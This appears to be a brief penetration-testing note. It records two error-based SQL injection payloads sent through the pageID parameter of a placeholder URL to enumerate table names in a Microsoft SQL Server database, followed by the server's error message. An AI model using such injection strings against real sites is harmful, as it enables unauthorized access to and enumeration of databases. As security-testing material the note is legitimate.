Pen Testing.

URL: https://www.exaple.com/index.php?pageID=6
DB:  Master

Attempted:
pageID=6 AND 1 = (SELECT TOP 1 table_name FROM master..sysobjects)
pageID=6 AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

Error:
Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft OLE DB Provider for SQL Server Description: An expression of non-boolean type specified in a context where a condition is expected, near '('.'.